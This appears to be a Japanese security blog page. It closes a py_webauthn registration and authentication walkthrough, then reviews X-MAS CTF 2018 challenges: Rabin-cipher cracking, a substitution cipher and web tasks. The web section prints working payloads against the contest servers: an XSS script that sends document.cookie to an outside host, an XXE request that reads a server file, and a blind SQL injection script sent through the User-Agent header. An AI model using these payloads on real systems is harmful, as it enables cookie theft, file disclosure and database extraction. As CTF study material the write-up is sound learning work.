        const newAttestationForServer = {
            id: credential.id,
            rawId: btoa(rawId),
            type: credential.type,
            attObj: btoa(attObj),
            clientData: btoa(clientDataJSON),
            registrationClientExtensions: JSON.stringify(registrationClientExtensions)
        }
        const formData = new FormData();      Object.entries(newAttestationForServer).forEach(([key, value]) => {
            formData.set(key, value);
        });
        return fetch('/attestation/result', {
            method: 'POST',
            body: formData
        })

WebAuthnRegistrationResponse.verify()

Attestationの検証を行う。

OUT
名前 説明 サンプル
webauthn_credential rp_id, origin, cred_id, credential_public_key, sign_countなどを含むWebAuthnCredentialオブジェクト b'NlMC9-6s84VC0Hl1_3o4Z6LewYNMMtGfhzWZRMZQO9nln7A7Lk4K1in9L4iqYE-a498HW3IoEAyQoYl3sRiY0A' (localhost, https://localhost:5000, 161)

WebAuthnAssertionResponse

Assertionの検証に必要なパラメーター(主にnavigator.credentials.getの戻り)を渡してオブジェクトを生成。 verifyメソッドを呼び出すことで検証を行う。

webauthn_user = webauthn.WebAuthnUser(
    user.ukey,
    user.username,
    user.display_name,
    user.icon_url,
    user.credential_id,
    user.pub_key,
    user.sign_count,
    user.rp_id)

webauthn_assertion_response = webauthn.WebAuthnAssertionResponse(
    webauthn_user,
    assertion_response,
    challenge,
    origin,
    uv_required=False)  # User Verification

try:
    sign_count = webauthn_assertion_response.verify()
except Exception as e:
    return jsonify({'fail': 'Assertion failed. Error: {}'.format(e)})

# Update counter.
user.sign_count = sign_count

IN

名前 説明 サンプル
webauthn_user オブジェクト nlCeE9NB4OjUjNth5RnU (fuga, fuga, 161)
assertion_response navigator.credentials.get()の戻り値を含むImmutableMultiDictオブジェクト ImmutableMultiDict([('id', 'NlMC9-6s84VC0Hl1_3o4Z6LewYNMMtGfhzWZRMZQO9nln7A7Lk4K1in9L4iqYE-a498HW3IoEAyQoYl3sRiY0A'), ('rawId', 'NlMC9-6s84VC0Hl1_3o4Z6LewYNMMtGfhzWZRMZQO9nln7A7Lk4K1in9L4iqYE-a498HW3IoEAyQoYl3sRiY0A'), ('type', 'public-key'), ('authData', 'SZYN5YgOjGh0NBcPZHZgW4_krrmihjLHmVzzuoMdl2MBAAAAog=='), ('clientData', 'eyJjaGFsbGVuZ2UiOiJiRmRpYmI3ZnQ1UVB2Zk9RT2ZDc2ZUbDJNdUhKYXJBUCIsIm9yaWdpbiI6Imh0dHBzOi8vbG9jYWxob3N0OjUwMDAiLCJ0eXBlIjoid2ViYXV0aG4uZ2V0In0='), ('signature', '30450220439462e37bfeed9243789c91b3cfdcf95f5d4f9c1c08d725dae7892cee8bd687022100c528f5e70954213c55bfbbe8ccc201d68f06d83da69ce6c68c8092e04a1f08f3'), ('assertionClientExtensions', '{}')])
challenge 乱数 eUh0QEZmFFIB9liCconUwrIInAg1wr5F
origin RPのオリジン localhost
uv_required User Verificationを要求するか False

WebAuthnAssertionResponse.verify()

Assertionの検証を行う。

OUT
名前 説明 サンプル
sign_count カウンタ 162

動作確認

py_webauthnのリポジトリにはデモも用意してあり,簡単にパラメーターを変えたりして試すことができる。 github.com

以下は色々試していたときの画面。YubiKeyによる登録,認証はできた。

f:id:kent056-n:20190120183432p:plain

f:id:kent056-n:20190120183519p:plain

f:id:kent056-n:20190120183536p:plain

f:id:kent056-n:20190120183600p:plain

参考

X-MAS CTF 2018 供養(crypto)

X-MAS CTF 2018の復習をします。crypto全然解けなかったので自分への戒めも込めて別枠で復習。

Hanukkah

以下問題文。

Most of the old religions celebrate Christmas in one way or another!

hannukah.zip

とりあえずzipを展開すると、Hanukkah.pypubkey.docxflag.encという3つのファイルが入っていた。 中身はそれぞれ以下のとおり。

  • Hanukkah.py
from Crypto.Util.number import isPrime
from random import getrandbits

def genKey(k):

    while True:
        r=getrandbits(k)
        while(r%2):
            r=getrandbits(k)

        p =  3 * r**2 +  2 * r + 7331
        q = 17 * r**2 + 18 * r + 1339
        n = p * q

        if(isPrime(p) and isPrime(q)):
            return (p,q) , n

def encrypt(m,pubkey):

    c=m**2 % pubkey
    return c

privkey,pubkey = genKey(256)

flag = open('flag.txt').read().strip()
while(len(flag)<125):
    flag+='X'
flag = int(flag.encode('hex'),16)

ct=encrypt(flag,pubkey)

with open('flag.enc','w') as f:
    f.write('ct = ' + str(ct))

with open('pubkey.txt','w') as f:
    f.write('pubkey = ' + str(pubkey))

with open('privkey.txt','w') as f:
    f.write('privkey = ' + str(privkey))
  • flag.enc
ct = 66888784942083126019153811303159234927089875142104191133776750131159613684832139811204509826271372659492496969532819836891353636503721323922652625216288408158698171649305982910480306402937468863367546112783793370786163668258764837887181566893024918981141432949849964495587061024927468880779183895047695332465
  • pubkey.docx
pubkey = 577080346122592746450960451960811644036616146551114466727848435471345510503600476295033089858879506008659314011731832530327234404538741244932419600335200164601269385608667547863884257092161720382751699219503255979447796158029804610763137212345011761551677964560842758022253563721669200186956359020683979540809

flag.encpubkey.docxはそれぞれ、暗号文、公開鍵に相当する値なので、一旦放置して、Hanukkah.pyを見ていく。(特別短い値というわけでもなさそうなので。。。
Hanukkah.pyの中には、暗号化の処理と、鍵生成の処理の関数が存在していた。(復号用の関数は特になさそう)
encrypt()を見てみると、暗号化はm^{2}\ (mod\ pubkey)となっているようだ。一見、RSAの公開鍵であるeを2にしたような処理かと思っていたが、 Rabin暗号であるという解釈が正しいらしい。

def encrypt(m,pubkey):
    c=m**2 % pubkey
    return c

genKey()を見ていく。genKey()のざっくりとした処理は、乱数rから素数p素数qを生成し、素数pqを乗算した結果nを公開鍵として出力している。こちらも一見RSAにあるような処理だが、素数pqの生成の仕方が特徴的である。

def genKey(k):
    while True:
        r=getrandbits(k)
        while(r%2):
            r=getrandbits(k)
        p =  3 * r**2 +  2 * r + 7331
        q = 17 * r**2 + 18 * r + 1339
        n = p * q
        if(isPrime(p) and isPrime(q)):
            return (p,q) , n

とりあえず、乱数rを復元し、pqを求められるか試す。pqはそれぞれ以下のような二次方程式である。
  p=3r^{2}+2r+7331
  q=17r^{2}+18r+1339
また、Nは以下のような四次方程式になる。
  N = p \times q = (3r^{2}+2r+7331) + (17r^{2}+18r+1339) = 51r^{4}+88r^{3}+128680r^{2}+134636r+9816209
どうやらこのくらいの四次方程式ならsagemathで簡単に解けるらしい。(なんじゃそりゃ

r = var('r')
p =  3 * r**2 +  2 * r + 7331
q = 17 * r**2 + 18 * r + 1339
n = 577080346122592746450960451960811644036616146551114466727848435471345510503600476295033089858879506008659314011731832530327234404538741244932419600335200164601269385608667547863884257092161720382751699219503255979447796158029804610763137212345011761551677964560842758022253563721669200186956359020683979540809
print(solve([p*q == n], r))

実行結果は以下のようになった。

$ sage solve.sage
[
r == -1/306*2^(1/3)*(153*sqrt(15147150630629000233804099452906101530934498191519647372356855149628789898185342413449836545900924662176230915294233370033963114644930012543565154246564399307994638439115638993183241400679583377149678122807648637577134435844295862489220640130051235448412196666616140954176530088660572814324543526976182025566317867574806379719140477173890301822047212775915209877434199260588836314486598090996510297680974690331976003346468620814300052353074520740824643178183803211195)*sqrt(51) - 129398759599399029878538864574409097631593624315136752522578442202900377311534041642773374695881782587166702224211678308439051036481714875871713370811022131963402610901118373474257540602240876772216885599860605597381607467985074933522361)^(1/3)*(I*sqrt(3) + 1) - 4374650985893276104010003272325976898933572037179781744103021230488477995911375200505744036399526360125671364924951827208525285830472388678182701342414992024/153*2^(2/3)*(I*sqrt(3) - 1)/(153*sqrt(15147150630629000233804099452906101530934498191519647372356855149628789898185342413449836545900924662176230915294233370033963114644930012543565154246564399307994638439115638993183241400679583377149678122807648637577134435844295862489220640130051235448412196666616140954176530088660572814324543526976182025566317867574806379719140477173890301822047212775915209877434199260588836314486598090996510297680974690331976003346468620814300052353074520740824643178183803211195)*sqrt(51) - 129398759599399029878538864574409097631593624315136752522578442202900377311534041642773374695881782587166702224211678308439051036481714875871713370811022131963402610901118373474257540602240876772216885599860605597381607467985074933522361)^(1/3) - 2957921900893691988152446008625867048893493730601028771719173070390091206938194/153,
r == -1/306*2^(1/3)*(153*sqrt(15147150630629000233804099452906101530934498191519647372356855149628789898185342413449836545900924662176230915294233370033963114644930012543565154246564399307994638439115638993183241400679583377149678122807648637577134435844295862489220640130051235448412196666616140954176530088660572814324543526976182025566317867574806379719140477173890301822047212775915209877434199260588836314486598090996510297680974690331976003346468620814300052353074520740824643178183803211195)*sqrt(51) - 129398759599399029878538864574409097631593624315136752522578442202900377311534041642773374695881782587166702224211678308439051036481714875871713370811022131963402610901118373474257540602240876772216885599860605597381607467985074933522361)^(1/3)*(-I*sqrt(3) + 1) + 4374650985893276104010003272325976898933572037179781744103021230488477995911375200505744036399526360125671364924951827208525285830472388678182701342414992024/153*2^(2/3)*(I*sqrt(3) + 1)/(153*sqrt(15147150630629000233804099452906101530934498191519647372356855149628789898185342413449836545900924662176230915294233370033963114644930012543565154246564399307994638439115638993183241400679583377149678122807648637577134435844295862489220640130051235448412196666616140954176530088660572814324543526976182025566317867574806379719140477173890301822047212775915209877434199260588836314486598090996510297680974690331976003346468620814300052353074520740824643178183803211195)*sqrt(51) - 129398759599399029878538864574409097631593624315136752522578442202900377311534041642773374695881782587166702224211678308439051036481714875871713370811022131963402610901118373474257540602240876772216885599860605597381607467985074933522361)^(1/3) - 2957921900893691988152446008625867048893493730601028771719173070390091206938194/153,
r == 1/153*2^(1/3)*(153*sqrt(15147150630629000233804099452906101530934498191519647372356855149628789898185342413449836545900924662176230915294233370033963114644930012543565154246564399307994638439115638993183241400679583377149678122807648637577134435844295862489220640130051235448412196666616140954176530088660572814324543526976182025566317867574806379719140477173890301822047212775915209877434199260588836314486598090996510297680974690331976003346468620814300052353074520740824643178183803211195)*sqrt(51) - 129398759599399029878538864574409097631593624315136752522578442202900377311534041642773374695881782587166702224211678308439051036481714875871713370811022131963402610901118373474257540602240876772216885599860605597381607467985074933522361)^(1/3) - 8749301971786552208020006544651953797867144074359563488206042460976955991822750401011488072799052720251342729849903654417050571660944777356365402684829984048/153*2^(2/3)/(153*sqrt(15147150630629000233804099452906101530934498191519647372356855149628789898185342413449836545900924662176230915294233370033963114644930012543565154246564399307994638439115638993183241400679583377149678122807648637577134435844295862489220640130051235448412196666616140954176530088660572814324543526976182025566317867574806379719140477173890301822047212775915209877434199260588836314486598090996510297680974690331976003346468620814300052353074520740824643178183803211195)*sqrt(51) - 129398759599399029878538864574409097631593624315136752522578442202900377311534041642773374695881782587166702224211678308439051036481714875871713370811022131963402610901118373474257540602240876772216885599860605597381607467985074933522361)^(1/3) - 2957921900893691988152446008625867048893493730601028771719173070390091206938194/153,
r == 57998468644974352708871490365213079390068504521588799445473981772354729547806
]

これでr57998468644974352708871490365213079390068504521588799445473981772354729547806であることがわかったので、pqがそれぞれ以下のように求められる。

r = 57998468644974352708871490365213079390068504521588799445473981772354729547806
p =  3 * r**2 +  2 * r + 7331
q = 17 * r**2 + 18 * r + 1339

Rabin暗号の復号は次のように行われるらしい。
暗号文をyとし、次の2つの連立方程式の解xが求める平文になる。このとき、暗号文は単射ではないため、復号の際に一意に平文を求めることができないそうだ。
  x^{2}+Bx-y=0\ (mod\ p)
  x^{2}+Bx-y=0\ (mod\ q)
上記の方程式には4つの解が求まるが、4個の解から正しい平文を特定することはできない。正しい平文が求められるには、平文に十分な冗長度を持たせるなどの条件が必要となるそうな。具体的には、
  x_{p}=(y+\frac{B^{2}}{4})^{(p+1/4)}-\frac{B}{2}\ mod\ p
  x_{p}=(y+\frac{B^{2}}{4})^{(q+1/4)}-\frac{B}{2}\ mod\ q
とすると、求める解xは、
(a,b)\ in\ {(x_{p}, x_{q}),\ (p-B-x_{p},x_{q}),(x_{p}, q-B-x_{q}),(p-B-x_{p},q-B-x_{q})}
の4組を中国の剰余定理により、x=a\ mod\ p,\ x=b\ mod\ qとして求めるらしい。
ここでRabin暗号の暗号化について再度確認する。暗号化は次の通りである。
  e(x)=x(x+B)\ mod\ n (ただし、p\equiv q\equiv 3 (nブラム数)、\leq B \leq n-1とする)
Hanukkah.pyのencrypt()による処理はc=m**2 % pubkeyであった。つまり今回はBが0であるということがわかる。(Bは単純に0とすることもできるため、Bを省略する場合もある)
よって、今回はx_{p}x_{q}はそれぞれ以下のように求めることができる。

x_p = pow(ct, (p + 1) // 4, p)
x_q = pow(ct, (q + 1) // 4, q)

ここで、mの候補が4つになる。
(a,b)\ in\ {(x_{p}, x_{q}),\ (p-B-x_{p},x_{q}),(x_{p}, q-B-x_{q}),(p-B-x_{p},q-B-x_{q})} の4組を中国の剰余定理により、x=a\ mod\ p,\ x=b\ mod\ qとして求め、FLAGとして読めるものを選ぶ。以下をsageで実行する。

p = 10091467095486219386412925657038008994079750950818412327803970543226016138203830244281982855685318564926478052110051579561412412195187526673196657177343851
q =  57184980207755243189673245389882050966451922054637669857555833078280758116488758040722202677901531011185810382486226074211480927769032477693263422201893659
x_p = 5984384930362230902622118946606281088100185956715787357946688873976535748331735942467243660980295803795793201525873387182929644912620353687562775589288159
x_q =  9829161971938290069494314061938280901130884226712253442619690608876562799446658151136035886370379982653275907790319650566077618427448116797862433732627431
p_x_p = 4107082165123988483790806710431727905979564994102624969857281669249480389872094301814739194705022761130684850584178192378482767282567172985633881588055692
q_x_q =  47355818235816953120178931327943770065321037827925416414936142469404195317042099889586166791531151028532534474695906423645403309341584360895400988469266228

print(crt(x_p, x_q, p, q))
print(crt(p_x_p, x_q, p, q))
print(crt(x_p, q_x_q, p, q))
print(crt(p_x_p, q_x_q, p, q))

実行結果は以下のようになった。

$ sage solver.sage
546904478187754617970476928307782831327662789934115652310999639566732839911154963774037436727833744857683073603504302262536438011729853379642182939993673573801255216023647104887795195253938148646971787123118542563618966430816768768434049464197145400517827633353737734261878904557678614372825691067991025965824
577080342431875103050291541129748237695113048455522768672372116789787568249258449241136894862701032937391075692141058011928319000460264136464333583431446340765331120449009860869563031779240441024465326440106737207865005885016572835407784127138753408938519915029770041431424636487675561808249848130301475549425
3690717643400668910831063406341503098095591698055476318681557942254342027053896194996178473071268238319590774518398915404078477108468086016903753823835938265159657686994321225312921279358286372779396518771582790273013231775355353085206258352613158049531072716590828927233993638378706510890382503991384
30175867934838128480483523653028812708953356616998814416848795904612670592445512520995653131045761150976240408227530267790796392808887865290236660341526590800014169585020442976089061838223571735779912096384713415828829727213035842329087748147866361033850331207105023760374659163990585814130667952692953574985

(a,b)in(x_{p}, q-B-x_{q})によるx=a\ mod\ p,\ x=b\ mod\ qを読める形に直しておわり。

$ python3
>>> s = 3690717643400668910831063406341503098095591698055476318681557942254342027053896194996178473071268238319590774518398915404078477108468086016903753823835938265159657686994321225312921279358286372779396518771582790273013231775355353085206258352613158049531072716590828927233993638378706510890382503991384
>>> bytes.fromhex(hex(s)[2:]).decode().rstrip('X')
'X-MAS{H4nukk4h_Rabb1_and_Rab1n_l0ok_4nd_s0und_v3ry_much_alik3_H4nukk4h}'

FLAGはX-MAS{H4nukk4h_Rabb1_and_Rab1n_l0ok_4nd_s0und_v3ry_much_alik3_H4nukk4h}

所感

Rabin暗号を少し理解することができた。
sagemath便利なのでもっといい感じに使っていきたい。
他のcryptoも復習する予定で別枠で記事にしたのだが疲れたので気が向いたら更新するかも。

Special Christmas Wishlist (Crypto)

以下問題文。

While Santa was looking through the wishlists of the childern all around the world he came across a very strange looking one. Help Santa decode the letter in order to fulfill the wishes of this child.

(Flag is Non-Standard)

wishlist.png

UPDATE: flag is lowercase!

wishlist.pngは以下のような画像である。
f:id:kent056-n:20181225212142p:plain
時々でる換字式暗号の類であると推測できる。この手の問題は頻度分析をしなければならない印象があり、敬遠しがちだったが今回は他の人の解き方を見ながら復習してみる。
とりあえず、以下の画像の上から6行分のみをアルファベットに順に対応させていく。 f:id:kent056-n:20181225212639p:plain すると、このような具合になる。

ABCDCEFG AHIJDCEFG KHELG LDJI
JDMBNNG NBODAP QHHRGIFL
KCOA QGGM JABLLGL LGC HN CSH
QBF FHJ SDLFHO CEOQAGML
BFTGICEMGM OEACDCHHA UADV SBCUK
CSDJ OBMLKOBAAHS LRGSGM

ここまでできたら、quipqiupというツール?に入れてみる。実行結果はこんな感じ。 f:id:kent056-n:20181225213111p:plain 一番上の出力をいい感じに整形すると、以下のようになる。これで、謎の記号に適当にアルファベットを割り当てた状態から、いい感じにアルファベットを割り当てた状態になった。

LATITUDE LONGITUDE HOUSE SIGN
GIRAFFE FAMILY BOOKENDS
HTML BEER GLASSES SET OF TWO 
BAD DOG WISDOM TUMBLERS
ADVENTURER MULTITOOL CLIX WATCH 
TWIG MARSHMALLOW SKEWER

これより、NABJFLAGに対応することがわかるので、その近辺のみを復号してFLAGを読み取れば終了。

LATITUDE LONGITUDE HOUSE SIGN
GIRAFFE FAMILY BOOKENDS
HTML BEER GLASSES SET OF TWO
BAD DOG WISDOM TUMBLERS
ADVENTURER MULTITOOL CLIP WATCH
TWIG MARSHMALLOW SKEWER
            :
THE FLAG IS
XMASYOUARESOGOODATSUBSTITUTIONCIPHERS

FLAGはX-MAS{xmasyouaresogoodatsubstitutionciphers}

所感

換字式暗号が割と機械的に解けることを知ることができてよかった。
quipqiupについて、もう少しどういう処理をしているのか調べてみたい。
最初のアルファベットを謎の記号に割り振る部分をなんとかして自動化したい。

参考

X-MAS CTF 2018 供養(Webとか)

X-MAS CTFでチラ見以上したけど解けなかった問題の復習をする。(スコアサーバーが動いているうちに、、、)
これはその際のメモとお気持ち。cryptoはまた別でやります。

Santa's lucky number(Web)

以下問題文。

Come on! Santa's lucky number is pretty predictable, don't you think? ;)

Server: http://199.247.6.180:12005

とりあえずアクセスしてみると以下のような画面がでてくる。 f:id:kent056-n:20181224004247p:plain 適当にボタンを押してみるがハッシュ値っぽい数字が出てくるだけ。。。ここで意味がわからず競技中は放置してしまった。

Santa loves hiding his secrets on the page numbered as his lucky number :)

どうやらhttp://199.247.6.180:12005/?page=4の値を順に調べて行くとFLAG出たらしい。(なぜ思いつけなかったんだ、、、

import requests
import re

url = 'http://199.247.6.180:12005'
i = 0
while True:
    payload = {'page': str(i)}
    r = requests.get(url, params=payload)
    print('[*]Requests: ' + url + '/?page=' + str(i))
    if re.search(r'X-MAS', r.text):
        print(r.text)
        break;
    i = i + 1

FLAGはX-MAS{W00pS_S0m30n3_73l1_S4n7a_h1s_c00k1eS_Ar3_BuRn1ng} f:id:kent056-n:20181224005733p:plain

Our Christmas Wishlist(Web)

以下、問題文。

We have all gathered round to write down our wishes and desires for this Christmas! Please don't write anything mean, Santa will be reading this!

Server: http://199.247.6.180:12001

とりあえずアクセスしてみると以下のような画面が表示される。
f:id:kent056-n:20181224005115p:plain

ページのソースは以下のようになっていた。
競技中は上記のフォームに対して&lt;script&gt;location.href="http://g0r0g0r0.ga:8000/17fcd1x1?"+document.cookie&lt;/script&gt;こんな感じのscriptが発火するようなpayloadを送信して、サンタ見に来ないじゃん!!ってキレてた。

. . . 

<script>
function lol () {
    var xhttp = new XMLHttpRequest();
    xhttp.onreadystatechange = function() {
        if (xhttp.readyState == 4 && xhttp.status == 200) {
            document.location.reload();
        }
    };
    
    var xml = "<message>" + document.getElementById("textarea").value + "</message>";
    xhttp.open("POST", "/", true);
    xhttp.setRequestHeader('Content-Type', 'application/xml');
    xhttp.send(xml);
};
</script>

<body background="paper.jpg" style = "margin-left:25px; margin-top:25px;">
    <p class="text" style="font-size: 60px">Our Christmas Wishlist!</p>
    <textarea id="textarea" rows="6" cols="50" placeholder="I wish for a pony..." class="text" style="font-size: 30px"></textarea>
    <button style="position:relative; bottom:90px; left:20px;" onclick="lol();"></button>
    
    <div style="margin-top:24px;">
            </div>
</body>

他の人のwriteupを見たところ、どうやらXXEによってファイルを読むことができたらしい。(XMLの時点で気づけたらよかったのか。。。)

www.mbsd.jp

以下のようなリクエストを送ることでフラグを入手できた。FLAGはX-MAS{_The_Ex73rnal_Ent1t13$_W4n7_To__Jo1n_7he_p4r7y__700______}

# curl -X POST http://199.247.6.180:12001/ -d '<!DOCTYPE name [<!ENTITY h SYSTEM "file:///var/www/html/flag.txt">  <!-- <D> -->]><message>&h;</message>'
Your wish: X-MAS{_The_Ex73rnal_Ent1t13$_W4n7_To__Jo1n_7he_p4r7y__700______}

Santa's No Password Login System(Web)

職業柄気になったので復習しておく。以下、問題文。

We all know that Santa is quite an old man. He sometimes forgets things. Including his password.

Therefore, our high-tech gnomegineer department worked the whole last night to develop a new login system, that requires no passwords! Nifty.

Server: http://199.247.6.180:12003

まず、サーバーにアクセスしてみるとサンタニキが出てくるだけで、これといった入力フォームなどはない、、、

f:id:kent056-n:20181224012705p:plain

とりあえずソースを表示してみたが、mp3のいい感じの音楽を聞いただけでギブアップ。

<div id="snowflakeContainer">
    <p class="snowflake">*</p>
</div>

<body style="background-color:black">
    <!--Bells and Whistles-->
    <script src="flsnowcompress.js"></script>
    <audio autoplay>
        <source src="christmas.mp3" type="audio/mpeg">
    </audio>
    
    <img class="center" style="width:200; height:323; margin-top:100px" src="santa.png"></img>
    <p class="text" align="center">Santa's No-Password Login!</p>
    <p class="text" align="center" style="margin-top:-60px; font-size: 32px; opacity: 0.8;">You don't seem to be using an official Computer from Santa's Laboratory!</p>
    <p class="text" align="center" style="margin-top:-40px; font-size: 26px; opacity: 0.8;
      color: red;">Access Denied!   </p>
</body>

他のwriteupを見てみると、どうやらUserAgentにsqliの脆弱性があったらしい。あとは、以下のようなスクリプトを実行し、Blind SQLインジェクションをしてFLAGをゲットして終わりだったようだ。

import urllib2

flag = ""

chars = '-\{\}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_'

for i in range(0, 37):
    for i in range(0, len(chars)):
        str = """' OR ua LIKE BINARY "{}%";#""".format(flag+chars[i])
        headers =  {
                'User-Agent': str,
        }

        req=urllib2.Request("http://199.247.6.180:12003/", None, headers)
        response=urllib2.urlopen(req).read()

        if "Welcome" in response:
            flag += chars[i]
            print flag
            break

以下、実行結果。FLAGはX-MAS{EV3RY0NE_F34R5_TH3_BL1ND_GN0M3}。 自分もこういうのを見つけられるようになりたい。。。(みんなどうやって見つけてるんだろう??)

# python solve.py
X
X-
X-M
X-MA
X-MAS
X-MAS{
X-MAS{E
X-MAS{EV
X-MAS{EV3
X-MAS{EV3R
X-MAS{EV3RY
X-MAS{EV3RY0
X-MAS{EV3RY0N
X-MAS{EV3RY0NE
X-MAS{EV3RY0NE_
X-MAS{EV3RY0NE_F
X-MAS{EV3RY0NE_F3
X-MAS{EV3RY0NE_F34
X-MAS{EV3RY0NE_F34R
X-MAS{EV3RY0NE_F34R5
X-MAS{EV3RY0NE_F34R5_
X-MAS{EV3RY0NE_F34R5_T
X-MAS{EV3RY0NE_F34R5_TH
X-MAS{EV3RY0NE_F34R5_TH3
X-MAS{EV3RY0NE_F34R5_TH3_
X-MAS{EV3RY0NE_F34R5_TH3_B
X-MAS{EV3RY0NE_F34R5_TH3_BL
X-MAS{EV3RY0NE_F34R5_TH3_BL1
X-MAS{EV3RY0NE_F34R5_TH3_BL1N
X-MAS{EV3RY0NE_F34R5_TH3_BL1ND
X-MAS{EV3RY0NE_F34R5_TH3_BL1ND_
X-MAS{EV3RY0NE_F34R5_TH3_BL1ND_G
X-MAS{EV3RY0NE_F34R5_TH3_BL1ND_GN
X-MAS{EV3RY0NE_F34R5_TH3_BL1ND_GN0
X-MAS{EV3RY0NE_F34R5_TH3_BL1ND_GN0M
X-MAS{EV3RY0NE_F34R5_TH3_BL1ND_GN0M3
X-MAS{EV3RY0NE_F34R5_TH3_BL1ND_GN0M3}

参考

X-MAS CTF カテゴリーの記事一覧 - Yunolay’s blog

X-MAS CTF: Santa's No Password Login System – Diego95root